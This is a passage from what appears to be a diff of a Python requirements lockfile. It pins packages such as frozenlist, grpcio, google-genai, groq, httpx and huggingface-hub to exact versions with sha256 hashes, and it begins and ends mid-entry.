--hash=sha256:73946cb950c8caf65127d4e9a325e2b6be0442a224fd51ba3b6ac44e1912ce34 \ + --hash=sha256:77a09cb7427e7af74c594e409f7731a0cf887221de2f698e1ca0ebf0f3139021 \ + --hash=sha256:77e94728324b63660ebf8adb27055e92d2e4611645bf12ed9d88d30486471d0a \ + --hash=sha256:7a3c0bca61eacc1843ea97b288d6789fbad7400d16db24e36a66c28c268cfe3d \ + --hash=sha256:7f2f3efade4937fae4e77efae1af571902263de7b78a0aee1a1653795a093b2a \ + --hash=sha256:808527f2407f58a76c916d6aa15d58692a4a019fdf8d4c32ac7ff303b7d7af09 \ + --hash=sha256:83cffc144dc93eb604b87b179837f2ce2af44871a7b323f2bfed40e8acb40ba8 \ + --hash=sha256:84b0779c5abbdec2a9511d5ffbfcd2e53079bf889824b32be170c0d8ef5fc74c \ + --hash=sha256:9579618be6280700ae36ac42c3efd157049fe4dd40ca49b021280481c78c3176 \ + --hash=sha256:9a133bf9cc78fdbd1179cb58a59ad0100aa32d8675508150f3658814aeefeaa4 \ + --hash=sha256:9bd57289daf7b153bfa3e8013446aa144ce5e8c825e9e366d455155ede5ea2dc \ + --hash=sha256:a0809f8cc5731c066c909047f9a314d5f536c871a7a22e815cc4967c110ac9ad \ + --hash=sha256:a6f46790d59ab38c6aa0e35c681c0484b50dc0acf9e2679c005d61e019313c24 \ + --hash=sha256:a8a0dfea3972200f72d4c7df02c8ac70bad1bb4c58d7e0ec1e6f341679073a7f \ + --hash=sha256:aa75b6657ec129d0abded3bec745e6f7ab642e6dba3a5272a68247e85f5f316f \ + --hash=sha256:ab32f74bd56565b186f036e33129da77db8be09178cd2f5206a5d4035fb2a23f \ + --hash=sha256:ab3f5d36e4393e628a4df337c2c039069344db5f4b9d2a3c9cea48284f1dd741 \ + --hash=sha256:ac60fc860cdf3c3f327374db87ab8e064c86566ca8c49d2e30df15eda1b0c2d5 \ + --hash=sha256:ae64ba730d179f439b0736208b4c279b8bc9c089b102aec23f86512ea458c8a4 \ + --hash=sha256:af5967c666b7d6a377098849b07f83462c4fedbafcf8eb8bc8ff05dcbe8aa209 \ + --hash=sha256:b2fdd48b5e4236df145a149d7125badb28e0a383372add3fbaac9a6b7a394470 \ + --hash=sha256:b852a870a61cfc26c884af205d502881a2e59cc07076b60ab4a951cc0c94d1ad \ + --hash=sha256:b9a0ca4f03b7e0b01425281ffd44e99d360e15c895f1907ca105854ed85e2057 \ + --hash=sha256:bbb0c4b15d66b435d2538f3827f05e44e2baafcc003dd7d8472dc67807ab8fd8 \ + --hash=sha256:bcc96ee819c282e7c09b2eed2b9bd13084e3b749fdb2faf58c318d498df2efbe \ + --hash=sha256:c0a94245afae4d7af8c43b3159d5e3934c53f47140be0be624b96acd672ceb73 \ + --hash=sha256:c0eb25f0fd935e376ac4334927a59e7c823b36062080e2e13acbaf2af15db836 \ + --hash=sha256:c3091e63acf42f56a6f74dc65cfdb6f99bfc79b5913c8a9ac498eb7ca09770a8 \ + --hash=sha256:c501561e025b7aea3508719c5801c360c711d5218fc4ad5d77bf1c37c1a75779 \ + --hash=sha256:c7502d6f54cd08024c3ea9b3514e2d6f190feb2f46e6dbcd3747882264bb5f7b \ + --hash=sha256:caa1f14d2102cb8d353096bc6ef6c13b2c81f347e6ab9d6fbd48b9dea41c153d \ + --hash=sha256:cb9a030f609194b679e1660f7e32733b7a0f332d519c5d5a6a0a580991290022 \ + --hash=sha256:cd5a7f648d4365b41dbf0e38fe8da4884e57bed4e77c83598e076ac0c93995e7 \ + --hash=sha256:d23ef06f9e67163be38cece704170486715b177f6baae338110983f99a72c070 \ + --hash=sha256:d31f8c257046b5617fc6af9c69be066d2412bdef1edaa4bdf6a214cf57806105 \ + --hash=sha256:d55b7e96531216fc4f071909e33e35e5bfa47962ae67d9e84b00a04d6e8b7173 \ + --hash=sha256:d9e4332dc4ba054434a9594cbfaf7823b57993d7d8e7267831c3e059857cf397 \ + --hash=sha256:de01280eabcd82f7542828ecd67ebf1551d37203ecdfd7ab1f2e534edb78d505 \ + --hash=sha256:df61342889d0f5e7a32f7284e55ef95103f2110fee433c2ae7c2c0956d76ac8a \ + --hash=sha256:e0976c0dff7e222513d206e06341503f07423aceb1db0b83ff6851c008ceee06 \ + --hash=sha256:e150eab56c95dc9e3fefc234a0eedb342fac433dacc273cd4d150a5b0871e1fa \ + --hash=sha256:e23fc6a83f112de4be0cc1990e5b127c27663ae43f866353166f87df58e73d06 \ + --hash=sha256:ec27778c6ca3393ef662e2762dba8af13f4ec1aaa32d08d77f71f2a70ae9feb8 \ + --hash=sha256:f54d5b36c56a2d5e1a31e73b950b28a0d83eb0c37b91d10408875a5a29494bad \ + --hash=sha256:f74631b8322d2780ebcf2d2d75d58045c3e9378625ec51865fe0b5620800c39d +filelock==3.20.3 \ + --hash=sha256:18c57ee915c7ec61cff0ecf7f0f869936c7c30191bb0cf406f1341778d0834e1 \ + --hash=sha256:4b0dda527ee31078689fc205ec4f1c1bf7d56cf88b6dc9426c4f230e46c2dce1 +frozenlist==1.8.0 \ + --hash=sha256:0325024fe97f94c41c08872db482cf8ac4800d80e79222c6b0b7b162d5b13686 \ + --hash=sha256:032efa2674356903cd0261c4317a561a6850f3ac864a63fc1583147fb05a79b0 \ + --hash=sha256:03ae967b4e297f58f8c774c7eabcce57fe3c2434817d4385c50661845a058121 \ + --hash=sha256:06be8f67f39c8b1dc671f5d83aaefd3358ae5cdcf8314552c57e7ed3e6475bdd \ + --hash=sha256:073f8bf8becba60aa931eb3bc420b217bb7d5b8f4750e6f8b3be7f3da85d38b7 \ + --hash=sha256:07cdca25a91a4386d2e76ad992916a85038a9b97561bf7a3fd12d5d9ce31870c \ + --hash=sha256:09474e9831bc2b2199fad6da3c14c7b0fbdd377cce9d3d77131be28906cb7d84 \ + --hash=sha256:0c18a16eab41e82c295618a77502e17b195883241c563b00f0aa5106fc4eaa0d \ + --hash=sha256:0f96534f8bfebc1a394209427d0f8a63d343c9779cda6fc25e8e121b5fd8555b \ + --hash=sha256:102e6314ca4da683dca92e3b1355490fed5f313b768500084fbe6371fddfdb79 \ + --hash=sha256:11847b53d722050808926e785df837353bd4d75f1d494377e59b23594d834967 \ + --hash=sha256:119fb2a1bd47307e899c2fac7f28e85b9a543864df47aa7ec9d3c1b4545f096f \ + --hash=sha256:13d23a45c4cebade99340c4165bd90eeb4a56c6d8a9d8aa49568cac19a6d0dc4 \ + --hash=sha256:154e55ec0655291b5dd1b8731c637ecdb50975a2ae70c606d100750a540082f7 \ + --hash=sha256:168c0969a329b416119507ba30b9ea13688fafffac1b7822802537569a1cb0ef \ + --hash=sha256:17c883ab0ab67200b5f964d2b9ed6b00971917d5d8a92df149dc2c9779208ee9 \ + --hash=sha256:1a7607e17ad33361677adcd1443edf6f5da0ce5e5377b798fba20fae194825f3 \ + --hash=sha256:1a7fa382a4a223773ed64242dbe1c9c326ec09457e6b8428efb4118c685c3dfd \ + --hash=sha256:1aa77cb5697069af47472e39612976ed05343ff2e84a3dcf15437b232cbfd087 \ + --hash=sha256:1b9290cf81e95e93fdf90548ce9d3c1211cf574b8e3f4b3b7cb0537cf2227068 \ + --hash=sha256:20e63c9493d33ee48536600d1a5c95eefc870cd71e7ab037763d1fbb89cc51e7 \ + --hash=sha256:21900c48ae04d13d416f0e1e0c4d81f7931f73a9dfa0b7a8746fb2fe7dd970ed \ + --hash=sha256:229bf37d2e4acdaf808fd3f06e854a4a7a3661e871b10dc1f8f1896a3b05f18b \ + --hash=sha256:2552f44204b744fba866e573be4c1f9048d6a324dfe14475103fd51613eb1d1f \ + --hash=sha256:27c6e8077956cf73eadd514be8fb04d77fc946a7fe9f7fe167648b0b9085cc25 \ + --hash=sha256:28bd570e8e189d7f7b001966435f9dac6718324b5be2990ac496cf1ea9ddb7fe \ + --hash=sha256:294e487f9ec720bd8ffcebc99d575f7eff3568a08a253d1ee1a0378754b74143 \ + --hash=sha256:29548f9b5b5e3460ce7378144c3010363d8035cea44bc0bf02d57f5a685e084e \ + --hash=sha256:2c5dcbbc55383e5883246d11fd179782a9d07a986c40f49abe89ddf865913930 \ + --hash=sha256:2dc43a022e555de94c3b68a4ef0b11c4f747d12c024a520c7101709a2144fb37 \ + --hash=sha256:2f05983daecab868a31e1da44462873306d3cbfd76d1f0b5b69c473d21dbb128 \ + --hash=sha256:33139dc858c580ea50e7e60a1b0ea003efa1fd42e6ec7fdbad78fff65fad2fd2 \ + --hash=sha256:332db6b2563333c5671fecacd085141b5800cb866be16d5e3eb15a2086476675 \ + --hash=sha256:33f48f51a446114bc5d251fb2954ab0164d5be02ad3382abcbfe07e2531d650f \ + --hash=sha256:34187385b08f866104f0c0617404c8eb08165ab1272e884abc89c112e9c00746 \ + --hash=sha256:342c97bf697ac5480c0a7ec73cd700ecfa5a8a40ac923bd035484616efecc2df \ + --hash=sha256:3462dd9475af2025c31cc61be6652dfa25cbfb56cbbf52f4ccfe029f38decaf8 \ + --hash=sha256:39ecbc32f1390387d2aa4f5a995e465e9e2f79ba3adcac92d68e3e0afae6657c \ + --hash=sha256:3e0761f4d1a44f1d1a47996511752cf3dcec5bbdd9cc2b4fe595caf97754b7a0 \ + --hash=sha256:3ede829ed8d842f6cd48fc7081d7a41001a56f1f38603f9d49bf3020d59a31ad \ + --hash=sha256:3ef2d026f16a2b1866e1d86fc4e1291e1ed8a387b2c333809419a2f8b3a77b82 \ + --hash=sha256:405e8fe955c2280ce66428b3ca55e12b3c4e9c336fb2103a4937e891c69a4a29 \ + --hash=sha256:42145cd2748ca39f32801dad54aeea10039da6f86e303659db90db1c4b614c8c \ + --hash=sha256:4314debad13beb564b708b4a496020e5306c7333fa9a3ab90374169a20ffab30 \ + --hash=sha256:433403ae80709741ce34038da08511d4a77062aa924baf411ef73d1146e74faf \ + --hash=sha256:44389d135b3ff43ba8cc89ff7f51f5a0bb6b63d829c8300f79a2fe4fe61bcc62 \ + --hash=sha256:48e6d3f4ec5c7273dfe83ff27c91083c6c9065af655dc2684d2c200c94308bb5 \ + --hash=sha256:494a5952b1c597ba44e0e78113a7266e656b9794eec897b19ead706bd7074383 \ + --hash=sha256:4970ece02dbc8c3a92fcc5228e36a3e933a01a999f7094ff7c23fbd2beeaa67c \ + --hash=sha256:4e0c11f2cc6717e0a741f84a527c52616140741cd812a50422f83dc31749fb52 \ + --hash=sha256:50066c3997d0091c411a66e710f4e11752251e6d2d73d70d8d5d4c76442a199d \ + --hash=sha256:517279f58009d0b1f2e7c1b130b377a349405da3f7621ed6bfae50b10adf20c1 \ + --hash=sha256:54b2077180eb7f83dd52c40b2750d0a9f175e06a42e3213ce047219de902717a \ + --hash=sha256:5500ef82073f599ac84d888e3a8c1f77ac831183244bfd7f11eaa0289fb30714 \ + --hash=sha256:581ef5194c48035a7de2aefc72ac6539823bb71508189e5de01d60c9dcd5fa65 \ + --hash=sha256:59a6a5876ca59d1b63af8cd5e7ffffb024c3dc1e9cf9301b21a2e76286505c95 \ + --hash=sha256:5a3a935c3a4e89c733303a2d5a7c257ea44af3a56c8202df486b7f5de40f37e1 \ + --hash=sha256:5c1c8e78426e59b3f8005e9b19f6ff46e5845895adbde20ece9218319eca6506 \ + --hash=sha256:5d63a068f978fc69421fb0e6eb91a9603187527c86b7cd3f534a5b77a592b888 \ + --hash=sha256:667c3777ca571e5dbeb76f331562ff98b957431df140b54c85fd4d52eea8d8f6 \ + --hash=sha256:6da155091429aeba16851ecb10a9104a108bcd32f6c1642867eadaee401c1c41 \ + --hash=sha256:6dc4126390929823e2d2d9dc79ab4046ed74680360fc5f38b585c12c66cdf459 \ + --hash=sha256:7398c222d1d405e796970320036b1b563892b65809d9e5261487bb2c7f7b5c6a \ + --hash=sha256:74c51543498289c0c43656701be6b077f4b265868fa7f8a8859c197006efb608 \ + --hash=sha256:776f352e8329135506a1d6bf16ac3f87bc25b28e765949282dcc627af36123aa \ + --hash=sha256:778a11b15673f6f1df23d9586f83c4846c471a8af693a22e066508b77d201ec8 \ + --hash=sha256:78f7b9e5d6f2fdb88cdde9440dc147259b62b9d3b019924def9f6478be254ac1 \ + --hash=sha256:799345ab092bee59f01a915620b5d014698547afd011e691a208637312db9186 \ + --hash=sha256:7bf6cdf8e07c8151fba6fe85735441240ec7f619f935a5205953d58009aef8c6 \ + --hash=sha256:8009897cdef112072f93a0efdce29cd819e717fd2f649ee3016efd3cd885a7ed \ + --hash=sha256:80f85f0a7cc86e7a54c46d99c9e1318ff01f4687c172ede30fd52d19d1da1c8e \ + --hash=sha256:8585e3bb2cdea02fc88ffa245069c36555557ad3609e83be0ec71f54fd4abb52 \ + --hash=sha256:878be833caa6a3821caf85eb39c5ba92d28e85df26d57afb06b35b2efd937231 \ + --hash=sha256:8a76ea0f0b9dfa06f254ee06053d93a600865b3274358ca48a352ce4f0798450 \ + --hash=sha256:8b7b94a067d1c504ee0b16def57ad5738701e4ba10cec90529f13fa03c833496 \ + --hash=sha256:8d92f1a84bb12d9e56f818b3a746f3efba93c1b63c8387a73dde655e1e42282a \ + --hash=sha256:908bd3f6439f2fef9e85031b59fd4f1297af54415fb60e4254a95f75b3cab3f3 \ + --hash=sha256:92db2bf818d5cc8d9c1f1fc56b897662e24ea5adb36ad1f1d82875bd64e03c24 \ + --hash=sha256:940d4a017dbfed9daf46a3b086e1d2167e7012ee297fef9e1c545c4d022f5178 \ + --hash=sha256:957e7c38f250991e48a9a73e6423db1bb9dd14e722a10f6b8bb8e16a0f55f695 \ + --hash=sha256:96153e77a591c8adc2ee805756c61f59fef4cf4073a9275ee86fe8cba41241f7 \ + --hash=sha256:96f423a119f4777a4a056b66ce11527366a8bb92f54e541ade21f2374433f6d4 \ + --hash=sha256:97260ff46b207a82a7567b581ab4190bd4dfa09f4db8a8b49d1a958f6aa4940e \ + --hash=sha256:974b28cf63cc99dfb2188d8d222bc6843656188164848c4f679e63dae4b0708e \ + --hash=sha256:9ff15928d62a0b80bb875655c39bf517938c7d589554cbd2669be42d97c2cb61 \ + --hash=sha256:a6483e309ca809f1efd154b4d37dc6d9f61037d6c6a81c2dc7a15cb22c8c5dca \ + --hash=sha256:a88f062f072d1589b7b46e951698950e7da00442fc1cacbe17e19e025dc327ad \ + --hash=sha256:ac913f8403b36a2c8610bbfd25b8013488533e71e62b4b4adce9c86c8cea905b \ + --hash=sha256:adbeebaebae3526afc3c96fad434367cafbfd1b25d72369a9e5858453b1bb71a \ + --hash=sha256:b2a095d45c5d46e5e79ba1e5b9cb787f541a8dee0433836cea4b96a2c439dcd8 \ + --hash=sha256:b3210649ee28062ea6099cfda39e147fa1bc039583c8ee4481cb7811e2448c51 \ + --hash=sha256:b37f6d31b3dcea7deb5e9696e529a6aa4a898adc33db82da12e4c60a7c4d2011 \ + --hash=sha256:b4dec9482a65c54a5044486847b8a66bf10c9cb4926d42927ec4e8fd5db7fed8 \ + --hash=sha256:b4f3b365f31c6cd4af24545ca0a244a53688cad8834e32f56831c4923b50a103 \ + --hash=sha256:b6db2185db9be0a04fecf2f241c70b63b1a242e2805be291855078f2b404dd6b \ + --hash=sha256:b9be22a69a014bc47e78072d0ecae716f5eb56c15238acca0f43d6eb8e4a5bda \ + --hash=sha256:bac9c42ba2ac65ddc115d930c78d24ab8d4f465fd3fc473cdedfccadb9429806 \ + --hash=sha256:bf0a7e10b077bf5fb9380ad3ae8ce20ef919a6ad93b4552896419ac7e1d8e042 \ + --hash=sha256:c23c3ff005322a6e16f71bf8692fcf4d5a304aaafe1e262c98c6d4adc7be863e \ + --hash=sha256:c4c800524c9cd9bac5166cd6f55285957fcfc907db323e193f2afcd4d9abd69b \ + --hash=sha256:c7366fe1418a6133d5aa824ee53d406550110984de7637d65a178010f759c6ef \ + --hash=sha256:c8d1634419f39ea6f5c427ea2f90ca85126b54b50837f31497f3bf38266e853d \ + --hash=sha256:c9a63152fe95756b85f31186bddf42e4c02c6321207fd6601a1c89ebac4fe567 \ + --hash=sha256:cb89a7f2de3602cfed448095bab3f178399646ab7c61454315089787df07733a \ + --hash=sha256:cba69cb73723c3f329622e34bdbf5ce1f80c21c290ff04256cff1cd3c2036ed2 \ + --hash=sha256:cee686f1f4cadeb2136007ddedd0aaf928ab95216e7691c63e50a8ec066336d0 \ + --hash=sha256:cf253e0e1c3ceb4aaff6df637ce033ff6535fb8c70a764a8f46aafd3d6ab798e \ + --hash=sha256:d1eaff1d00c7751b7c6662e9c5ba6eb2c17a2306ba5e2a37f24ddf3cc953402b \ + --hash=sha256:d3bb933317c52d7ea5004a1c442eef86f426886fba134ef8cf4226ea6ee1821d \ + --hash=sha256:d4d3214a0f8394edfa3e303136d0575eece0745ff2b47bd2cb2e66dd92d4351a \ + --hash=sha256:d6a5df73acd3399d893dafc71663ad22534b5aa4f94e8a2fabfe856c3c1b6a52 \ + --hash=sha256:d8b7138e5cd0647e4523d6685b0eac5d4be9a184ae9634492f25c6eb38c12a47 \ + --hash=sha256:db1e72ede2d0d7ccb213f218df6a078a9c09a7de257c2fe8fcef16d5925230b1 \ + --hash=sha256:e25ac20a2ef37e91c1b39938b591457666a0fa835c7783c3a8f33ea42870db94 \ + --hash=sha256:e2de870d16a7a53901e41b64ffdf26f2fbb8917b3e6ebf398098d72c5b20bd7f \ + --hash=sha256:e4a3408834f65da56c83528fb52ce7911484f0d1eaf7b761fc66001db1646eff \ + --hash=sha256:eaa352d7047a31d87dafcacbabe89df0aa506abb5b1b85a2fb91bc3faa02d822 \ + --hash=sha256:eab8145831a0d56ec9c4139b6c3e594c7a83c2c8be25d5bcf2d86136a532287a \ + --hash=sha256:ec3cc8c5d4084591b4237c0a272cc4f50a5b03396a47d9caaf76f5d7b38a4f11 \ + --hash=sha256:edee74874ce20a373d62dc28b0b18b93f645633c2943fd90ee9d898550770581 \ + --hash=sha256:eefdba20de0d938cec6a89bd4d70f346a03108a19b9df4248d3cf0d88f1b0f51 \ + --hash=sha256:ef2b7b394f208233e471abc541cc6991f907ffd47dc72584acee3147899d6565 \ + --hash=sha256:f21f00a91358803399890ab167098c131ec2ddd5f8f5fd5fe9c9f2c6fcd91e40 \ + --hash=sha256:f4be2e3d8bc8aabd566f8d5b8ba7ecc09249d74ba3c9ed52e54dc23a293f0b92 \ + --hash=sha256:f57fb59d9f385710aa7060e89410aeb5058b99e62f4d16b08b91986b9a2140c2 \ + --hash=sha256:f6292f1de555ffcc675941d65fffffb0a5bcd992905015f85d0592201793e0e5 \ + --hash=sha256:f833670942247a14eafbb675458b4e61c82e002a148f49e68257b79296e865c4 \ + --hash=sha256:fa47e444b8ba08fffd1c18e8cdb9a75db1b6a27f17507522834ad13ed5922b93 \ + --hash=sha256:fb30f9626572a76dfe4293c7194a09fb1fe93ba94c7d4f720dfae3b646b45027 \ + --hash=sha256:fe3c58d2f5db5fbd18c2987cba06d51b0529f52bc3a6cdc33d3f4eab725104bd +fsspec==2025.9.0 \ + --hash=sha256:19fd429483d25d28b65ec68f9f4adc16c17ea2c7c7bf54ec61360d478fb19c19 \ + --hash=sha256:530dc2a2af60a414a832059574df4a6e10cce927f6f4a78209390fe38955cfb7 +func-timeout==4.3.5 \ + --hash=sha256:74cd3c428ec94f4edfba81f9b2f14904846d5ffccc27c92433b8b5939b5575dd +google-api-core==2.31.0 \ + --hash=sha256:2be84ee0f584c48e6bde1b36766e23348b361fb7e55e56135fc76ce1c397f9c2 \ + --hash=sha256:ef79fb3784c71cbac89cbd03301ba0c8fb8ad2aa95d7f9204dd9628f7adf59ab +google-api-python-client==2.184.0 \ + --hash=sha256:15a18d02f42de99416921c77be235d12ead474e474a1abc348b01a2b92633fa4 \ + --hash=sha256:ef2a3330ad058cdfc8a558d199c051c3356f6ed012436c3ad3d08b67891b039f +google-auth==2.53.0 \ + --hash=sha256:6e7449917c599b35126a99ec268ec6880301f2fea41dce198fe8fd83ff642b68 \ + --hash=sha256:e7e6aa16f6bee7b2b264830fd04f08087a1d5a836df516251a5d15327b246c9c +google-auth-httplib2==0.2.0 \ + --hash=sha256:38aa7badf48f974f1eb9861794e9c0cb2a0511a4ec0679b1f886d108f5640e05 \ + --hash=sha256:b65a0a2123300dd71281a7bf6e64d65a0759287df52729bdd1ae2e47dc311a3d +google-auth-oauthlib==1.2.2 \ + --hash=sha256:11046fb8d3348b296302dd939ace8af0a724042e8029c1b872d87fabc9f41684 \ + --hash=sha256:fd619506f4b3908b5df17b65f39ca8d66ea56986e5472eb5978fd8f3786f00a2 +google-genai==1.75.0 \ + --hash=sha256:56bac3991b311c93f980c0a2abcd287b672146905df1fbd71c92ed633d5a07cf \ + --hash=sha256:8dc4c096e7d6288c3087f6893f582fe52468932464781edb8193bd92b9fefb2c +googleapis-common-protos==1.70.0 \ + --hash=sha256:0e1b44e0ea153e6594f9f394fef15193a68aaaea2d843f83e2742717ca753257 \ + --hash=sha256:b8bfcca8c25a2bb253e0e0b0adaf8c00773e5e6af6fd92397576680b807e0fd8 +groq==0.32.0 \ + --hash=sha256:0ed0be290042f8826f851f3a1defaac4f979dcfce86ec4a0681a23af00ec800b \ + --hash=sha256:fb1ade61f47a06d1a1c1dc0fab690d269b799ebd57ad1dd867efaeaa7adeb2af +grpcio==1.76.0 \ + --hash=sha256:035d90bc79eaa4bed83f524331d55e35820725c9fbb00ffa1904d5550ed7ede3 \ + --hash=sha256:04bbe1bfe3a68bbfd4e52402ab7d4eb59d72d02647ae2042204326cf4bbad280 \ + --hash=sha256:063065249d9e7e0782d03d2bca50787f53bd0fb89a67de9a7b521c4a01f1989b \ + --hash=sha256:06c3d6b076e7b593905d04fdba6a0525711b3466f43b3400266f04ff735de0cd \ + --hash=sha256:08caea849a9d3c71a542827d6df9d5a69067b0a1efbea8a855633ff5d9571465 \ + --hash=sha256:0aaa82d0813fd4c8e589fac9b65d7dd88702555f702fb10417f96e2a2a6d4c0f \ + --hash=sha256:0b7604868b38c1bfd5cf72d768aedd7db41d78cb6a4a18585e33fb0f9f2363fd \ + --hash=sha256:0c37db8606c258e2ee0c56b78c62fc9dee0e901b5dbdcf816c2dd4ad652b8b0c \ + --hash=sha256:1c9b93f79f48b03ada57ea24725d83a30284a012ec27eab2cf7e50a550cbbbcc \ + --hash=sha256:2107b0c024d1b35f4083f11245c0e23846ae64d02f40b2b226684840260ed054 \ + --hash=sha256:2229ae655ec4e8999599469559e97630185fdd53ae1e8997d147b7c9b2b72cba \ + --hash=sha256:25a18e9810fbc7e7f03ec2516addc116a957f8cbb8cbc95ccc80faa072743d03 \ + --hash=sha256:26ef06c73eb53267c2b319f43e6634c7556ea37672029241a056629af27c10e2 \ + --hash=sha256:2e1743fbd7f5fa713a1b0a8ac8ebabf0ec980b5d8809ec358d488e273b9cf02a \ + --hash=sha256:32483fe2aab2c3794101c2a159070584e5db11d0aa091b2c0ea9c4fc43d0d749 \ + --hash=sha256:3bf0f392c0b806905ed174dcd8bdd5e418a40d5567a05615a030a5aeddea692d \ + --hash=sha256:3e2a27c89eb9ac3d81ec8835e12414d73536c6e620355d65102503064a4ed6eb \ + --hash=sha256:40ad3afe81676fd9ec6d9d406eda00933f218038433980aa19d401490e46ecde \ + --hash=sha256:4215d3a102bd95e2e11b5395c78562967959824156af11fa93d18fdd18050990 \ + --hash=sha256:45d59a649a82df5718fd9527ce775fd66d1af35e6d31abdcdc906a49c6822958 \ + --hash=sha256:45e0111e73f43f735d70786557dc38141185072d7ff8dc1829d6a77ac1471468 \ + --hash=sha256:479496325ce554792dba6548fae3df31a72cef7bad71ca2e12b0e58f9b336bfc \ + --hash=sha256:490fa6d203992c47c7b9e4a9d39003a0c2bcc1c9aa3c058730884bbbb0ee9f09 \ + --hash=sha256:49ce47231818806067aea3324d4bf13825b658ad662d3b25fada0bdad9b8a6af \ + --hash=sha256:4baf3cbe2f0be3289eb68ac8ae771156971848bb8aaff60bad42005539431980 \ + --hash=sha256:522175aba7af9113c48ec10cc471b9b9bd4f6ceb36aeb4544a8e2c80ed9d252d \ + --hash=sha256:5e8571632780e08526f118f74170ad8d50fb0a48c23a746bef2a6ebade3abd6f \ + --hash=sha256:615ba64c208aaceb5ec83bfdce7728b80bfeb8be97562944836a7a0a9647d882 \ + --hash=sha256:61f69297cba3950a524f61c7c8ee12e55c486cb5f7db47ff9dcee33da6f0d3ae \ + --hash=sha256:65a20de41e85648e00305c1bb09a3598f840422e522277641145a32d42dcefcc \ + --hash=sha256:6a15c17af8839b6801d554263c546c69c4d7718ad4321e3166175b37eaacca77 \ + --hash=sha256:747fa73efa9b8b1488a95d0ba1039c8e2dca0f741612d80415b1e1c560febf4e \ + --hash=sha256:7be78388d6da1a25c0d5ec506523db58b18be22d9c37d8d3a32c08be4987bd73 \ + --hash=sha256:81fd9652b37b36f16138611c7e884eb82e0cec137c40d3ef7c3f9b3ed00f6ed8 \ + --hash=sha256:83d57312a58dcfe2a3a0f9d1389b299438909a02db60e2f2ea2ae2d8034909d3 \ + --hash=sha256:8843114c0cfce61b40ad48df65abcfc00d4dba82eae8718fab5352390848c5da \ + --hash=sha256:8cc3309d8e08fd79089e13ed4819d0af72aa935dd8f435a195fd152796752ff2 \ + --hash=sha256:8ebe63ee5f8fa4296b1b8cfc743f870d10e902ca18afc65c68cf46fd39bb0783 \ + --hash=sha256:8eddfb4d203a237da6f3cc8a540dad0517d274b5a1e9e636fd8d2c79b5c1d397 \ + --hash=sha256:922fa70ba549fce362d2e2871ab542082d66e2aaf0c19480ea453905b01f384e \ + --hash=sha256:931091142fd8cc14edccc0845a79248bc155425eee9a98b2db2ea4f00a235a42 \ + --hash=sha256:971fd5a1d6e62e00d945423a567e42eb1fa678ba89072832185ca836a94daaa6 \ + --hash=sha256:980a846182ce88c4f2f7e2c22c56aefd515daeb36149d1c897f83cf57999e0b6 \ + --hash=sha256:9d9adda641db7207e800a7f089068f6f645959f2df27e870ee81d44701dd9db3 \ + --hash=sha256:9f8f757bebaaea112c00dba718fc0d3260052ce714e25804a03f93f5d1c6cc11 \ + --hash=sha256:a6ae758eb08088d36812dd5d9af7a9859c05b1e0f714470ea243694b49278e7b \ + --hash=sha256:a8c2cf1209497cf659a667d7dea88985e834c24b7c3b605e6254cbb5076d985c \ + --hash=sha256:acab0277c40eff7143c2323190ea57b9ee5fd353d8190ee9652369fae735668a \ + --hash=sha256:b331680e46239e090f5b3cead313cc772f6caa7d0fc8de349337563125361a4a \ + --hash=sha256:c088e7a90b6017307f423efbb9d1ba97a22aa2170876223f9709e9d1de0b5347 \ + --hash=sha256:d099566accf23d21037f18a2a63d323075bebace807742e4b0ac210971d4dd70 \ + --hash=sha256:d388087771c837cdb6515539f43b9d4bf0b0f23593a24054ac16f7a960be16f4 \ + --hash=sha256:dcfe41187da8992c5f40aa8c5ec086fa3672834d2be57a32384c08d5a05b4c00 \ + --hash=sha256:e6d1db20594d9daba22f90da738b1a0441a7427552cc6e2e3d1297aeddc00378 \ + --hash=sha256:ebea5cc3aa8ea72e04df9913492f9a96d9348db876f9dda3ad729cfedf7ac416 \ + --hash=sha256:ebebf83299b0cb1721a8859ea98f3a77811e35dce7609c5c963b9ad90728f886 \ + --hash=sha256:f0e34c2079d47ae9f6188211db9e777c619a21d4faba6977774e8fa43b085e48 \ + --hash=sha256:f92f88e6c033db65a5ae3d97905c8fea9c725b63e28d5a75cb73b49bda5024d8 \ + --hash=sha256:f9f7bd5faab55f47231ad8dba7787866b69f5e93bc306e3915606779bbfb4ba8 \ + --hash=sha256:fd5ef5932f6475c436c4a55e4336ebbe47bd3272be04964a03d316bbf4afbcbc \ + --hash=sha256:ff8a59ea85a1f2191a0ffcc61298c571bc566332f82e5f5be1b83c9d8e668a62 +h11==0.16.0 \ + --hash=sha256:4e35b956cf45792e4caa5885e69fba00bdbc6ffafbfa020300e549b208ee5ff1 \ + --hash=sha256:63cf8bbe7522de3bf65932fda1d9c2772064ffb3dae62d55932da54b31cb6c86 +hf-xet==1.1.10 \ + --hash=sha256:0a0005fd08f002180f7a12d4e13b22be277725bc23ed0529f8add5c7a6309c06 \ + --hash=sha256:408aef343800a2102374a883f283ff29068055c111f003ff840733d3b715bb97 \ + --hash=sha256:5f54b19cc347c13235ae7ee98b330c26dd65ef1df47e5316ffb1e87713ca7045 \ + --hash=sha256:686083aca1a6669bc85c21c0563551cbcdaa5cf7876a91f3d074a030b577231d \ + --hash=sha256:6b6bceb6361c80c1cc42b5a7b4e3efd90e64630bcf11224dcac50ef30a47e435 \ + --hash=sha256:71081925383b66b24eedff3013f8e6bbd41215c3338be4b94ba75fd75b21513b \ + --hash=sha256:eae7c1fc8a664e54753ffc235e11427ca61f4b0477d757cc4eb9ae374b69f09c \ + --hash=sha256:f900481cf6e362a6c549c61ff77468bd59d6dd082f3170a36acfef2eb6a6793f +httpcore==1.0.9 \ + --hash=sha256:2d400746a40668fc9dec9810239072b40b4484b640a8c38fd654a024c7a1bf55 \ + --hash=sha256:6e34463af53fd2ab5d807f399a9b45ea31c3dfa2276f15a2c3f00afff6e176e8 +httplib2==0.32.0 \ + --hash=sha256:48a0ef30a42db65d8f3399045e1d09ab0ba66e3b9efc360d07f80ea55d286025 \ + --hash=sha256:dc6705cacdf3fb0a2aba7629fa33c90fd93e30035db0c157325826be177e4816 +httpx==0.28.1 \ + --hash=sha256:75e98c5f16b0f35b567856f597f06ff2270a374470a5c2392242528e3e3e42fc \ + --hash=sha256:d909fcccc110f8c7faf814ca82a9a4d816bc5a6dbfea25d6591d6985b8ba59ad +httpx-sse==0.4.3 \ + --hash=sha256:0ac1c9fe3c0afad2e0ebb25a934a59f4c7823b60792691f779fad2c5568830fc \ + --hash=sha256:9b1ed0127459a66014aec3c56bebd93da3c1bc8bb6618c8082039a44889a755d +huggingface-hub==0.35.3 \ + 